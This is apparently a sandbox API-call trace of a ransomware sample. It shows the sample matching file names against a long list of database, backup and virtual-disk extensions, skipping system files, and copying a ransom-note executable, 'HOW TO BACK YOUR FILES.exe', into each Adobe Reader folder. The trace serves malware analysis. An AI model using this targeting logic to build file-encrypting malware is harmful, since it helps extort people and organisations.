	[0056.948] lstrcmpiW (lpString1="dat", lpString2="ns2") returned -1
	[0056.948] lstrlenW (lpString="ns3") returned 3
	[0056.948] lstrcmpiW (lpString1="dat", lpString2="ns3") returned -1
	[0056.948] lstrlenW (lpString="ns4") returned 3
	[0056.948] lstrcmpiW (lpString1="dat", lpString2="ns4") returned -1
	[0056.948] lstrlenW (lpString="nsf") returned 3
	[0056.948] lstrcmpiW (lpString1="dat", lpString2="nsf") returned -1
	[0056.948] lstrlenW (lpString="nv") returned 2
	[0056.948] lstrcmpiW (lpString1="at", lpString2="nv") returned -1
	[0056.948] lstrlenW (lpString="nv2") returned 3
	[0056.948] lstrcmpiW (lpString1="dat", lpString2="nv2") returned -1
	[0056.948] lstrlenW (lpString="nwdb") returned 4
	[0056.949] lstrcmpiW (lpString1=".dat", lpString2="nwdb") returned -1
	[0056.949] lstrlenW (lpString="nyf") returned 3
	[0056.949] lstrcmpiW (lpString1="dat", lpString2="nyf") returned -1
	[0056.949] lstrlenW (lpString="odb") returned 3
	[0056.949] lstrcmpiW (lpString1="dat", lpString2="odb") returned -1
	[0056.949] lstrlenW (lpString="odb") returned 3
	[0056.949] lstrcmpiW (lpString1="dat", lpString2="odb") returned -1
	[0056.949] lstrlenW (lpString="oqy") returned 3
	[0056.949] lstrcmpiW (lpString1="dat", lpString2="oqy") returned -1
	[0056.949] lstrlenW (lpString="ora") returned 3
	[0056.949] lstrcmpiW (lpString1="dat", lpString2="ora") returned -1
	[0056.949] lstrlenW (lpString="orx") returned 3
	[0056.949] lstrcmpiW (lpString1="dat", lpString2="orx") returned -1
	[0056.949] lstrlenW (lpString="owc") returned 3
	[0056.949] lstrcmpiW (lpString1="dat", lpString2="owc") returned -1
	[0056.949] lstrlenW (lpString="p96") returned 3
	[0056.949] lstrcmpiW (lpString1="dat", lpString2="p96") returned -1
	[0056.949] lstrlenW (lpString="p97") returned 3
	[0056.949] lstrcmpiW (lpString1="dat", lpString2="p97") returned -1
	[0056.949] lstrlenW (lpString="pan") returned 3
	[0056.949] lstrcmpiW (lpString1="dat", lpString2="pan") returned -1
	[0056.949] lstrlenW (lpString="pdb") returned 3
	[0056.949] lstrcmpiW (lpString1="dat", lpString2="pdb") returned -1
	[0056.949] lstrlenW (lpString="pdm") returned 3
	[0056.949] lstrcmpiW (lpString1="dat", lpString2="pdm") returned -1
	[0056.949] lstrlenW (lpString="pnz") returned 3
	[0056.949] lstrcmpiW (lpString1="dat", lpString2="pnz") returned -1
	[0056.949] lstrlenW (lpString="qry") returned 3
	[0056.949] lstrcmpiW (lpString1="dat", lpString2="qry") returned -1
	[0056.949] lstrlenW (lpString="qvd") returned 3
	[0056.949] lstrcmpiW (lpString1="dat", lpString2="qvd") returned -1
	[0056.949] lstrlenW (lpString="rbf") returned 3
	[0056.950] lstrcmpiW (lpString1="dat", lpString2="rbf") returned -1
	[0056.950] lstrlenW (lpString="rctd") returned 4
	[0056.950] lstrcmpiW (lpString1=".dat", lpString2="rctd") returned -1
	[0056.950] lstrlenW (lpString="rod") returned 3
	[0056.950] lstrcmpiW (lpString1="dat", lpString2="rod") returned -1
	[0056.950] lstrlenW (lpString="rodx") returned 4
	[0056.950] lstrcmpiW (lpString1=".dat", lpString2="rodx") returned -1
	[0056.950] lstrlenW (lpString="rpd") returned 3
	[0056.950] lstrcmpiW (lpString1="dat", lpString2="rpd") returned -1
	[0056.950] lstrlenW (lpString="rsd") returned 3
	[0056.950] lstrcmpiW (lpString1="dat", lpString2="rsd") returned -1
	[0056.950] lstrlenW (lpString="sas7bdat") returned 8
	[0056.950] lstrcmpiW (lpString1="t26l.dat", lpString2="sas7bdat") returned 1
	[0056.950] lstrlenW (lpString="sbf") returned 3
	[0056.950] lstrcmpiW (lpString1="dat", lpString2="sbf") returned -1
	[0056.950] lstrlenW (lpString="scx") returned 3
	[0056.950] lstrcmpiW (lpString1="dat", lpString2="scx") returned -1
	[0056.950] lstrlenW (lpString="sdb") returned 3
	[0056.950] lstrcmpiW (lpString1="dat", lpString2="sdb") returned -1
	[0056.950] lstrlenW (lpString="sdc") returned 3
	[0056.950] lstrcmpiW (lpString1="dat", lpString2="sdc") returned -1
	[0056.950] lstrlenW (lpString="sdf") returned 3
	[0056.950] lstrcmpiW (lpString1="dat", lpString2="sdf") returned -1
	[0056.950] lstrlenW (lpString="sis") returned 3
	[0056.950] lstrcmpiW (lpString1="dat", lpString2="sis") returned -1
	[0056.950] lstrlenW (lpString="spq") returned 3
	[0056.950] lstrcmpiW (lpString1="dat", lpString2="spq") returned -1
	[0056.950] lstrlenW (lpString="te") returned 2
	[0056.950] lstrcmpiW (lpString1="at", lpString2="te") returned -1
	[0056.950] lstrlenW (lpString="teacher") returned 7
	[0056.950] lstrcmpiW (lpString1="26l.dat", lpString2="teacher") returned -1
	[0056.950] lstrlenW (lpString="tmd") returned 3
	[0056.950] lstrcmpiW (lpString1="dat", lpString2="tmd") returned -1
	[0056.951] lstrlenW (lpString="tps") returned 3
	[0056.951] lstrcmpiW (lpString1="dat", lpString2="tps") returned -1
	[0056.951] lstrlenW (lpString="trc") returned 3
	[0056.951] lstrcmpiW (lpString1="dat", lpString2="trc") returned -1
	[0056.951] lstrlenW (lpString="trc") returned 3
	[0056.951] lstrcmpiW (lpString1="dat", lpString2="trc") returned -1
	[0056.951] lstrlenW (lpString="trm") returned 3
	[0056.951] lstrcmpiW (lpString1="dat", lpString2="trm") returned -1
	[0056.951] lstrlenW (lpString="udb") returned 3
	[0056.951] lstrcmpiW (lpString1="dat", lpString2="udb") returned -1
	[0056.951] lstrlenW (lpString="udl") returned 3
	[0056.951] lstrcmpiW (lpString1="dat", lpString2="udl") returned -1
	[0056.951] lstrlenW (lpString="usr") returned 3
	[0056.951] lstrcmpiW (lpString1="dat", lpString2="usr") returned -1
	[0056.951] lstrlenW (lpString="v12") returned 3
	[0056.951] lstrcmpiW (lpString1="dat", lpString2="v12") returned -1
	[0056.951] lstrlenW (lpString="vis") returned 3
	[0056.951] lstrcmpiW (lpString1="dat", lpString2="vis") returned -1
	[0056.951] lstrlenW (lpString="vpd") returned 3
	[0056.951] lstrcmpiW (lpString1="dat", lpString2="vpd") returned -1
	[0056.951] lstrlenW (lpString="vvv") returned 3
	[0056.951] lstrcmpiW (lpString1="dat", lpString2="vvv") returned -1
	[0056.951] lstrlenW (lpString="wdb") returned 3
	[0056.951] lstrcmpiW (lpString1="dat", lpString2="wdb") returned -1
	[0056.951] lstrlenW (lpString="wmdb") returned 4
	[0056.951] lstrcmpiW (lpString1=".dat", lpString2="wmdb") returned -1
	[0056.951] lstrlenW (lpString="wrk") returned 3
	[0056.951] lstrcmpiW (lpString1="dat", lpString2="wrk") returned -1
	[0056.951] lstrlenW (lpString="xdb") returned 3
	[0056.951] lstrcmpiW (lpString1="dat", lpString2="xdb") returned -1
	[0056.951] lstrlenW (lpString="xld") returned 3
	[0056.951] lstrcmpiW (lpString1="dat", lpString2="xld") returned -1
	[0056.951] lstrlenW (lpString="xmlff") returned 5
	[0056.951] lstrcmpiW (lpString1="l.dat", lpString2="xmlff") returned -1
	[0056.952] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834dd660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x345f0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="icudt26l.dat", cAlternateFileName="")) returned 0
	[0056.952] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0056.952] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7990
	[0056.952] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep"
	[0056.952] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591740 | out: hHeap=0x580000) returned 1
	[0056.952] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7988 | out: hHeap=0x580000) returned 1
	[0056.952] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep") returned 58
	[0056.952] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep"
	[0056.952] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.952] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\saslprep\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.957] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.957] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d5bd20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a044eb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a044eb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.958] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.958] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.958] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0056.958] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d5bd20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a044eb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a044eb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0056.958] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.958] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0056.958] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0056.958] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0056.958] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a044eb0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3a044eb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0056.958] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0056.958] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x359c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SaslPrepProfile_norm_bidi.spp", cAlternateFileName="SASLPR~1.SPP")) returned 1
	[0056.958] lstrcmpiW (lpString1="SaslPrepProfile_norm_bidi.spp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0056.958] lstrcmpiW (lpString1="SaslPrepProfile_norm_bidi.spp", lpString2="Apollon865.txt.exe") returned 1
	[0056.958] lstrcmpiW (lpString1="SaslPrepProfile_norm_bidi.spp", lpString2=".") returned 1
	[0056.958] lstrcmpiW (lpString1="SaslPrepProfile_norm_bidi.spp", lpString2="..") returned 1
	[0056.958] lstrcmpiW (lpString1="SaslPrepProfile_norm_bidi.spp", lpString2="windows") returned -1
	[0056.958] lstrcmpiW (lpString1="SaslPrepProfile_norm_bidi.spp", lpString2="bootmgr") returned 1
	[0056.958] lstrcmpiW (lpString1="SaslPrepProfile_norm_bidi.spp", lpString2="temp") returned -1
	[0056.958] lstrcmpiW (lpString1="SaslPrepProfile_norm_bidi.spp", lpString2="pagefile.sys") returned 1
	[0056.958] lstrcmpiW (lpString1="SaslPrepProfile_norm_bidi.spp", lpString2="boot") returned 1
	[0056.958] lstrcmpiW (lpString1="SaslPrepProfile_norm_bidi.spp", lpString2="ids.txt") returned 1
	[0056.958] lstrcmpiW (lpString1="SaslPrepProfile_norm_bidi.spp", lpString2="ntuser.dat") returned 1
	[0056.958] lstrcmpiW (lpString1="SaslPrepProfile_norm_bidi.spp", lpString2="perflogs") returned 1
	[0056.958] lstrcmpiW (lpString1="SaslPrepProfile_norm_bidi.spp", lpString2="MSBuild") returned 1
	[0056.958] lstrlenW (lpString="SaslPrepProfile_norm_bidi.spp") returned 29
	[0056.958] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep\\*") returned 60
	[0056.958] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="SaslPrepProfile_norm_bidi.spp" | out: lpString1="SaslPrepProfile_norm_bidi.spp") returned="SaslPrepProfile_norm_bidi.spp"
	[0056.958] lstrlenW (lpString="SaslPrepProfile_norm_bidi.spp") returned 29
	[0056.958] lstrlenW (lpString="Apollon865") returned 10
	[0056.958] lstrcmpiW (lpString1="m_bidi.spp", lpString2="Apollon865") returned 1
	[0056.958] lstrlenW (lpString=".dll") returned 4
	[0056.959] lstrcmpiW (lpString1="SaslPrepProfile_norm_bidi.spp", lpString2=".dll") returned 1
	[0056.959] lstrlenW (lpString=".lnk") returned 4
	[0056.959] lstrcmpiW (lpString1="SaslPrepProfile_norm_bidi.spp", lpString2=".lnk") returned 1
	[0056.959] lstrlenW (lpString=".ini") returned 4
	[0056.959] lstrcmpiW (lpString1="SaslPrepProfile_norm_bidi.spp", lpString2=".ini") returned 1
	[0056.959] lstrlenW (lpString=".sys") returned 4
	[0056.959] lstrcmpiW (lpString1="SaslPrepProfile_norm_bidi.spp", lpString2=".sys") returned 1
	[0056.959] lstrlenW (lpString="SaslPrepProfile_norm_bidi.spp") returned 29
	[0056.959] lstrlenW (lpString="bak") returned 3
	[0056.959] lstrcmpiW (lpString1="spp", lpString2="bak") returned 1
	[0056.959] lstrlenW (lpString="ba_") returned 3
	[0056.959] lstrcmpiW (lpString1="spp", lpString2="ba_") returned 1
	[0056.959] lstrlenW (lpString="dbb") returned 3
	[0056.959] lstrcmpiW (lpString1="spp", lpString2="dbb") returned 1
	[0056.959] lstrlenW (lpString="vmdk") returned 4
	[0056.959] lstrcmpiW (lpString1=".spp", lpString2="vmdk") returned -1
	[0056.959] lstrlenW (lpString="rar") returned 3
	[0056.959] lstrcmpiW (lpString1="spp", lpString2="rar") returned 1
	[0056.959] lstrlenW (lpString="zip") returned 3
	[0056.959] lstrcmpiW (lpString1="spp", lpString2="zip") returned -1
	[0056.959] lstrlenW (lpString="tgz") returned 3
	[0056.959] lstrcmpiW (lpString1="spp", lpString2="tgz") returned -1
	[0056.959] lstrlenW (lpString="vbox") returned 4
	[0056.959] lstrcmpiW (lpString1=".spp", lpString2="vbox") returned -1
	[0056.959] lstrlenW (lpString="vdi") returned 3
	[0056.959] lstrcmpiW (lpString1="spp", lpString2="vdi") returned -1
	[0056.959] lstrlenW (lpString="vhd") returned 3
	[0056.959] lstrcmpiW (lpString1="spp", lpString2="vhd") returned -1
	[0056.959] lstrlenW (lpString="vhdx") returned 4
	[0056.959] lstrcmpiW (lpString1=".spp", lpString2="vhdx") returned -1
	[0056.959] lstrlenW (lpString="avhd") returned 4
	[0056.959] lstrcmpiW (lpString1=".spp", lpString2="avhd") returned -1
	[0056.959] lstrlenW (lpString="db") returned 2
	[0056.959] lstrcmpiW (lpString1="pp", lpString2="db") returned 1
	[0056.960] lstrlenW (lpString="db2") returned 3
	[0056.960] lstrcmpiW (lpString1="spp", lpString2="db2") returned 1
	[0056.960] lstrlenW (lpString="db3") returned 3
	[0056.960] lstrcmpiW (lpString1="spp", lpString2="db3") returned 1
	[0056.960] lstrlenW (lpString="dbf") returned 3
	[0056.960] lstrcmpiW (lpString1="spp", lpString2="dbf") returned 1
	[0056.960] lstrlenW (lpString="mdf") returned 3
	[0056.960] lstrcmpiW (lpString1="spp", lpString2="mdf") returned 1
	[0056.960] lstrlenW (lpString="mdb") returned 3
	[0056.960] lstrcmpiW (lpString1="spp", lpString2="mdb") returned 1
	[0056.960] lstrlenW (lpString="sql") returned 3
	[0056.960] lstrcmpiW (lpString1="spp", lpString2="sql") returned -1
	[0056.960] lstrlenW (lpString="sqlite") returned 6
	[0056.960] lstrcmpiW (lpString1="di.spp", lpString2="sqlite") returned -1
	[0056.960] lstrlenW (lpString="sqlite3") returned 7
	[0056.960] lstrcmpiW (lpString1="idi.spp", lpString2="sqlite3") returned -1
	[0056.960] lstrlenW (lpString="sqlitedb") returned 8
	[0056.960] lstrcmpiW (lpString1="bidi.spp", lpString2="sqlitedb") returned -1
	[0056.960] lstrlenW (lpString="xml") returned 3
	[0056.960] lstrcmpiW (lpString1="spp", lpString2="xml") returned -1
	[0056.960] lstrlenW (lpString="$er") returned 3
	[0056.960] lstrcmpiW (lpString1="spp", lpString2="$er") returned 1
	[0056.960] lstrlenW (lpString="4dd") returned 3
	[0056.960] lstrcmpiW (lpString1="spp", lpString2="4dd") returned 1
	[0056.960] lstrlenW (lpString="4dl") returned 3
	[0056.960] lstrcmpiW (lpString1="spp", lpString2="4dl") returned 1
	[0056.960] lstrlenW (lpString="^^^") returned 3
	[0056.960] lstrcmpiW (lpString1="spp", lpString2="^^^") returned 1
	[0056.960] lstrlenW (lpString="abs") returned 3
	[0056.960] lstrcmpiW (lpString1="spp", lpString2="abs") returned 1
	[0056.960] lstrlenW (lpString="abx") returned 3
	[0056.960] lstrcmpiW (lpString1="spp", lpString2="abx") returned 1
	[0056.960] lstrlenW (lpString="accdb") returned 5
	[0056.960] lstrcmpiW (lpString1="i.spp", lpString2="accdb") returned 1
	[0056.961] lstrlenW (lpString="accdc") returned 5
	[0056.961] lstrcmpiW (lpString1="i.spp", lpString2="accdc") returned 1
	[0056.961] lstrlenW (lpString="accde") returned 5
	[0056.961] lstrcmpiW (lpString1="i.spp", lpString2="accde") returned 1
	[0056.961] lstrlenW (lpString="accdr") returned 5
	[0056.961] lstrcmpiW (lpString1="i.spp", lpString2="accdr") returned 1
	[0056.961] lstrlenW (lpString="accdt") returned 5
	[0056.961] lstrcmpiW (lpString1="i.spp", lpString2="accdt") returned 1
	[0056.961] lstrlenW (lpString="accdw") returned 5
	[0056.961] lstrcmpiW (lpString1="i.spp", lpString2="accdw") returned 1
	[0056.961] lstrlenW (lpString="accft") returned 5
	[0056.961] lstrcmpiW (lpString1="i.spp", lpString2="accft") returned 1
	[0056.961] lstrlenW (lpString="adb") returned 3
	[0056.961] lstrcmpiW (lpString1="spp", lpString2="adb") returned 1
	[0056.961] lstrlenW (lpString="adb") returned 3
	[0056.961] lstrcmpiW (lpString1="spp", lpString2="adb") returned 1
	[0056.961] lstrlenW (lpString="ade") returned 3
	[0056.961] lstrcmpiW (lpString1="spp", lpString2="ade") returned 1
	[0056.961] lstrlenW (lpString="adf") returned 3
	[0056.961] lstrcmpiW (lpString1="spp", lpString2="adf") returned 1
	[0056.961] lstrlenW (lpString="adn") returned 3
	[0056.961] lstrcmpiW (lpString1="spp", lpString2="adn") returned 1
	[0056.961] lstrlenW (lpString="adp") returned 3
	[0056.961] lstrcmpiW (lpString1="spp", lpString2="adp") returned 1
	[0056.961] lstrlenW (lpString="alf") returned 3
	[0056.961] lstrcmpiW (lpString1="spp", lpString2="alf") returned 1
	[0056.961] lstrlenW (lpString="ask") returned 3
	[0056.961] lstrcmpiW (lpString1="spp", lpString2="ask") returned 1
	[0056.961] lstrlenW (lpString="btr") returned 3
	[0056.961] lstrcmpiW (lpString1="spp", lpString2="btr") returned 1
	[0056.961] lstrlenW (lpString="cat") returned 3
	[0056.961] lstrcmpiW (lpString1="spp", lpString2="cat") returned 1
	[0056.961] lstrlenW (lpString="cdb") returned 3
	[0056.962] lstrcmpiW (lpString1="spp", lpString2="cdb") returned 1
	[0056.962] lstrlenW (lpString="ckp") returned 3
	[0056.962] lstrcmpiW (lpString1="spp", lpString2="ckp") returned 1
	[0056.962] lstrlenW (lpString="cma") returned 3
	[0056.962] lstrcmpiW (lpString1="spp", lpString2="cma") returned 1
	[0056.962] lstrlenW (lpString="cpd") returned 3
	[0056.962] lstrcmpiW (lpString1="spp", lpString2="cpd") returned 1
	[0056.962] lstrlenW (lpString="dacpac") returned 6
	[0056.962] lstrcmpiW (lpString1="di.spp", lpString2="dacpac") returned 1
	[0056.962] lstrlenW (lpString="dad") returned 3
	[0056.962] lstrcmpiW (lpString1="spp", lpString2="dad") returned 1
	[0056.962] lstrlenW (lpString="dadiagrams") returned 10
	[0056.962] lstrcmpiW (lpString1="m_bidi.spp", lpString2="dadiagrams") returned 1
	[0056.962] lstrlenW (lpString="daschema") returned 8
	[0056.962] lstrcmpiW (lpString1="bidi.spp", lpString2="daschema") returned -1
	[0056.962] lstrlenW (lpString="db-journal") returned 10
	[0056.962] lstrcmpiW (lpString1="m_bidi.spp", lpString2="db-journal") returned 1
	[0056.962] lstrlenW (lpString="db-shm") returned 6
	[0056.962] lstrcmpiW (lpString1="di.spp", lpString2="db-shm") returned 1
	[0056.962] lstrlenW (lpString="db-wal") returned 6
	[0056.962] lstrcmpiW (lpString1="di.spp", lpString2="db-wal") returned 1
	[0056.962] lstrlenW (lpString="dbc") returned 3
	[0056.962] lstrcmpiW (lpString1="spp", lpString2="dbc") returned 1
	[0056.962] lstrlenW (lpString="dbs") returned 3
	[0056.962] lstrcmpiW (lpString1="spp", lpString2="dbs") returned 1
	[0056.962] lstrlenW (lpString="dbt") returned 3
	[0056.962] lstrcmpiW (lpString1="spp", lpString2="dbt") returned 1
	[0056.962] lstrlenW (lpString="dbv") returned 3
	[0056.962] lstrcmpiW (lpString1="spp", lpString2="dbv") returned 1
	[0056.962] lstrlenW (lpString="dbx") returned 3
	[0056.962] lstrcmpiW (lpString1="spp", lpString2="dbx") returned 1
	[0056.962] lstrlenW (lpString="dcb") returned 3
	[0056.962] lstrcmpiW (lpString1="spp", lpString2="dcb") returned 1
	[0056.963] lstrcmpiW (lpString1="spp", lpString2="dct") returned 1
	[0056.963] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x359c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SaslPrepProfile_norm_bidi.spp", cAlternateFileName="SASLPR~1.SPP")) returned 0
	[0056.963] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0056.963] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b70
	[0056.963] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics"
	[0056.963] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0056.963] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b68 | out: hHeap=0x580000) returned 1
	[0056.963] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics") returned 61
	[0056.963] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics"
	[0056.963] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.963] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.969] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.969] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a06b010, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a06b010, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.969] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.969] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.969] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0056.969] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a06b010, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a06b010, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0056.970] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.970] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0056.970] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0056.970] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0056.970] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a06b010, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3a06b010, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
